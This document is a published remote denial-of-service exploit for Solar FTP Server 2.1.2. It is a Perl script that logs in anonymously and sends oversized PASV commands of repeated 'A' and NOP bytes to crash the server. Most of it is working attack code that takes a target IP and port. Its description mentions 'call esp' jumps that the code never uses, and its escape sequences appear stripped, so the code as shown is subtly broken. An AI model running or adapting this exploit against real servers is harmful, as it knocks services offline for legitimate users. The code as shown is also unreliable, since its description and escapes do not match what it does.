Authored by Fernando Mengali

Solar FTP Server version 2.1.2 remote denial of service exploit.

#!/usr/bin/perl

use IO::Socket::INET;

# Exploit Title: Solar FTP Server 2.1.2 - PASV - Denial of Service (DoS)
# Discovery by: Fernando Mengali
# Discovery Date: 23 january 2024
# Vendor Homepage: N/A
# Download to demo: https://drive.google.com/file/d/1o4xTt67bUJYAAKm0pqNIG99ly--xRQBp/view?usp=sharing
# Notification vendor: No reported
# Tested Version: Solar FTP Server 2.1.2 - PASV - Denial of Service (DoS)
# Tested on: Window XP Professional - Service Pack 2 and 3 - English
# Vulnerability Type: Denial of Service (DoS)
# Vídeo: https://www.youtube.com/watch?v=U9nH6gqyT88

#1. Description

#His technique works fine against Windows XP Professional Service Pack 2 and 3 (English).
#For this exploit I have tried several strategies to increase reliability and performance:
#Jump to a static 'call esp'
#Backwards jump to code a known distance from the stack pointer.
#The FTP server does not correctly handle the amount of data or bytes sent.
#When authenticating to the FTP server with a large number of characters for the server to process, the server will crash as soon as it is received and processed, causing denial of service conditions.
#Successful exploitation of these issues allows remote attackers to crash the affected server, denying service to legitimate users.

#2. Proof of Concept - PoC

$sis="$^O";

if ($sis eq "windows"){
$cmd="cls";
} else {
$cmd="clear";
}

system("$cmd");

intro();
main();

print "[+] Exploiting... n";

print "[+] Connecting to $ip:$portn";
my $s = IO::Socket::INET->new(PeerAddr => $ip, PeerPort => $port, Proto => 'tcp') or die "Could not connect to $host:$portn";

$s->send("USER anonrn");
my $response = <$s>;
print $response;
$s->send("PASS anonrn");
$response = <$s>;
print $response;
$s->send("SYSTrn");
$response = <$s>;
print $response;
sleep(2);
$s->send("PASV " . "x41"x6631 . "rn");
sleep(3);
$response = <$s>;
print $response;
$response = <$s>;
print $response;
print ">>> Sending second payloadn";
$s->send("PASV " . "x90"x123 . "x90"x2877 . "rn");
$response = <$s>;
print $response;
sleep(2);


print "[+] Done - Exploited success!!!!!nn";

sub intro {
print "######################################################################n";
print "# #n";
print "# Solar FTP Server 2.1.2 - PASV - Denied of Service #n";
print "# #n";
print "# Coded by Fernando Mengali #n";
print "# #n";
print "# e-mail: [email protected] #n";
print "# #n";
print "######################################################################n";
}

sub main {

our ($ip, $port) = @ARGV;

unless (defined($ip) && defined($port)) {

print " nUsage: $0 <ip> <port> n";
exit(-1);

}
}